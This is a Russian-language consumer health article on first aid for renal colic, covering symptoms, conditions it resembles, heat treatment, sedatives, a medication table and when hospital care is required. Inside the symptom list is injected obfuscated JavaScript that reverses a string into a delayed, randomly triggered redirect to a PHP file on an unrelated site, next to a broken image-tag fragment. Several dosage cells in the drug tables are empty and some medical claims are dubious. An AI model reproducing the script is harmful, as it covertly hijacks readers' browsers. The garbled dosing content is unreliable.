Почечная колика — острое состояние, провоцируемое задержкой мочи в почке. Развивается по причине закупорки мочеточника или при его механическом сужении. Первая помощь необходима, чтобы облегчить самочувствие больного и способствовать прекращению приступа.
Содержание
Как понять, что у человека почечная колика
Если почечная колика возникла не впервые, по характерным ощущениям больной распознает рецидив. Кроме того, патология развивается на фоне различных заболеваний почек:
- мочекаменной болезни (МКБ);
- пиелонефрита — бактериального воспаления почек;
- гломерулонефрита — аутоиммунного воспаления почечных клубочков;
- опухолей, блокирующих отток мочи и пр.
Таблица: болезни, провоцирующие непроходимость мочеточников
| Причина непроходимости мочеточника | Окклюзия (закупорка) | Сужение или перегиб | Отёк | ||
| Камнем | Кровяным сгустком | Гнойными и фибриновыми образованиями | |||
| Болезни-провокаторы | МКБ, сопровождающаяся движением твёрдых образований по мочевыделительному тракту |
|
|
|
Общие аллергические реакции на медикаменты (антибиотики, препараты йода и пр.) |
Заподозрить почечную колику можно благодаря таким симптомам:
- Острая внезапная боль. Возникает, поскольку моча при закупорке мочеточника не покидает почку. Орган увеличивается в размерах, вызывая раздражение нервных окончаний. Часто боль проецируется в области поясницы со стороны патологического процесса, но может иррадиировать в наружную поверхность бедра, пах, головку полового члена у мужчин и область влагалища у женщин.
$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2018/12/post_5c0995b8ddcac-728×410.jpg» alt=»боль при почечной колике» width=»728″ height=»410″ /> При почечной колике боль часто иррадиирует ниже места закупорки мочеточника камнем
- Беспокойство, суетливость. Больной постоянно меняет положение тела, не сидит на месте.
- Болезненное, учащённое мочеиспускание или уменьшение количества выделяемой урины — возможные, но необязательные симптомы. Если одна почка работает исправно, уменьшение выделяемой мочи заметить сложно. Болезненность при мочеиспускании присутствует, когда камень из мочеточника попадает в мочевой пузырь. Мочеиспускание учащается при закупорке мочеточника у выхода в мочевой пузырь.
- Повышение температуры тела до 37,5–37,8 °C, реже — выше, что сопровождается ознобом и дрожью.
- Расстройства пищеварительного тракта (тошнота, рвота, задержка газов в кишечнике).
- Повышение артериального давления (АД).
Первая помощь
Опасность почечной колики в том, что её симптомы похожи на другие острые патологии органов брюшной полости:
- Резкая боль в подреберье справа, отдающая в поясницу, характерна для закупорки жёлчного протока камнем при жёлчно-каменной болезни (ЖКБ).
- Болевые ощущения при воспалении аппендикса локализуются между пупком и правой подвздошной костью с иррадиацией выше или ниже.
- Острая боль внизу живота справа или слева у женщин возможна в случае разрыва кисты яичника или фаллопиевой трубы при внематочной беременности.
- Острый панкреатит (воспаление поджелудочной железы) вызывает опоясывающую боль ниже рёбер.
- Обострение энтероколита (воспаления кишечника) также не обходится без выраженного болевого синдрома.
- Разрыв кисты почки провоцирует резкую, но кратковременную боль.
Все перечисленные состояния могут сопровождаться не только болью, но также рвотой, повышением температуры, дрожью в теле и прочей симптоматикой, характерной для почечной колики.
Почечная колика редко проходит самостоятельно. Первое, что необходимо сделать при развитии приступа — вызвать скорую помощь.
Доврачебные мероприятия облегчают состояние больного, нередко купируя приступ, но должны применяться рационально и крайне осторожно.
Воздействие теплом
Применение общего и локального теплового воздействия допустимо, когда у пациента исключены ЖКБ и острый аппендицит. Это возможно, если:
- ранее удалён аппендикс;
- в анамнезе холецистэктомия (удаление жёлчного пузыря);
- внезапная боль отчётливо локализуется слева ближе к подреберью.
До приезда скорой можно приготовить ванну. Вода должна быть горячей, но комфортной (40–50 °C). Длительность процедуры — не более 15 минут.
Горячая ванна противопоказана женщинам во время менструации, беременным и тем, у кого колика протекает на фоне пиелонефрита. Кроме того, не всегда есть условия для подобной процедуры. В таком случае теплом воздействуют местно. Воспользуйтесь грелкой, горчичником или пластиковой бутылкой с горячей водой.
Если у больного проблемы с сердцем, высокое артериальное давление — тепловые процедуры противопоказаны.
Способы и препараты для релаксации
Во время приступа важно снизить уровень тревожности пациента. Для этого:
- Добавьте в ванну отвар ромашки, чабреца, мелиссы и пр. Травы помогут расслабиться, поскольку быстро попадают в организм сквозь кожу, и окажут антисептический эффект.
- Дайте больному несколько глотков успокоительного чая из трав. Используйте мяту, зверобой, тимьян и прочие, обладающие седативным действием.
- Допустимо употребление успокоительных препаратов — Корвалола, Барбовала, настойки валерианы, пустырника и пр. Предпочтительнее не таблетированные, а жидкие медикаменты, поскольку они быстрее попадают в кровь.
Таблица: применение медикаментов на доврачебном этапе
| Группа | Представители | Дозировка и способ применения | В каких случаях нельзя применять препараты |
| Спазмолитики | Дротаверин (Но-Шпа) |
|
|
| Папаверин | 1–2 мл внутримышечно | ||
| Обезболивающие | Ибупрофен | 1–3 таблетки (200–600 мг) |
|
| Диклофенак (Диклоберл) |
|
||
| Баралгин |
|
||
| Парацетамол (при колике с повышением температуры тела свыше 37,5 °C) |
|
Тепло и спазмолитики обладают расслабляющим действием, благодаря чему камень или сгусток может попасть из мочеточника в мочевой пузырь. Но если речь идёт о твёрдом и крупном образовании, так происходит не всегда. Мочеточник расширяется, моче удаётся покинуть почку. Больному становится легче. Но спустя время, когда тепловое воздействие прекращается, урина снова не может продвигаться в мочевой пузырь. Приступ повторяется. Даже в случае прекращения боли следует пройти медицинское обследование и выявить причины почечной колики.
Особенности приступов у детей и беременных
У детей почечная колика встречается реже, чем у взрослых. Но выявить это состояние у ребёнка без обследования сложно. Дети дошкольного возраста не могут описать ощущения достоверно. Они суетятся и рыдают. Понять, что за истерикой кроется сильная боль, иногда невозможно.
Как у малышей, так и у подростков боль локализуется преимущественно в области пупка, поэтому сложно отличить почечную колику от прочих патологий органов ЖКТ. Передняя брюшная стенка непременно будет напряжена. У детей приступы длятся 15–20 минут, но через некоторое время повторяются.
Самостоятельно оказывать помощь ребёнку при почечной колике, особенно если она возникла впервые, запрещено. Задача родителей — как можно быстрее вызвать скорую помощь, до приезда которой стараться отвлечь и успокоить малыша.
Не менее опасна почечная колика для беременных. Если она возникает в первом или втором триместрах, существует риск самопроизвольного выкидыша. После 30–31 недели приступ может спровоцировать преждевременные роды.
Если на момент наступления беременности у женщины были камни в почках или хронический пиелонефрит, ей необходимо профилактировать почечную колику при помощи диеты и лекарств, которые назначаются только врачом. Развитие приступа на любом сроке требует безотлагательной госпитализации.
Чего нельзя делать во время приступа
Многие попытки самостоятельно справиться с почечной коликой не приносят результата или вредят больному. Следующие методы самопомощи недопустимы:
- Нельзя прикладывать к месту боли холод. Это усиливает спазм мочеточника.
- Приём алкоголя недопустим, особенно в сочетании с горячей ванной. Такой метод может привести к нарушению сердечной деятельности или потере сознания. К тому же нельзя сочетать спиртные напитки с фармпрепаратами.
- Не принимайте без разрешения врача мочегонные средства. Почечная колика только обострится, если мочеточник деформирован или камень не покинет мочеточник под усиливающимся давлением урины.
- Во время приступа самостоятельно не применяйте препараты, с которыми ранее не сталкивались. Развитие аллергии в случае лекарственной непереносимости усугубит ситуацию.
- Постарайтесь до прекращения приступа не пить много жидкости, чтобы моча медленнее накапливалась в больной почке.
Когда госпитализация обязательна
Лечить почечную колику в домашних условиях категорически нельзя:
- людям с одной почкой, когда моча на фоне приступа мочевыделение прекращается;
- при двухсторонней колике;
- людям с онкологией мочевыделительной системы;
- при болевом шоке и потере сознания;
- если закупорка произошла вследствие аллергического отёка;
- в случае неукротимой рвоты;
- когда приступ не первый, но привычные способы купирования не принесли результата в течение часа;
- беременным;
- детям-дошкольникам;
- при крупных камнях в почках.
Первая помощь при почечной колике эффективна, но не всегда. Если не устранить причину приступа, он произойдёт вновь. Сложно распознать почечную колику у детей и беременных. Этим категориям населения нельзя лечиться самостоятельно, а следует немедленно обращаться к врачу.
